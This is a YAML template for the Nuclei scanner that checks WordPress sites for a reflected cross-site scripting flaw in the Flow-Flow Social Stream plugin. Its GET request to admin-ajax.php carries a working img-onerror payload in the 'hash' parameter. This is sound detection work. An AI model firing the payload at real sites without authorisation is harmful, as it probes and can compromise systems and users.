id: flow-flow-social-stream-xss

info:
  name: WordPress Flow-Flow Social Stream <=3.0.71 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: WordPress Flow-Flow Social Stream 3.0.7.1 and prior is vulnerable to cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/8354b34e-40f4-4b70-bb09-38e2cf572ce9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,wordpress,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=fetch_posts&stream-id=1&hash=%3Cimg%20src=x%20onerror=alert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"hash":"<img src=x onerror=alert(document.domain)>"'
          - '"errors"'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204bf8b2cf7bc696286dffff0a9735bdc129481fb4fa06496cdafca0f927dbee71022100dc1c23dc3141f6d83c3a0d715476f2b48e57b0592c6306a00c259921629537ed:922c64590222798bb761d5b6d8e72950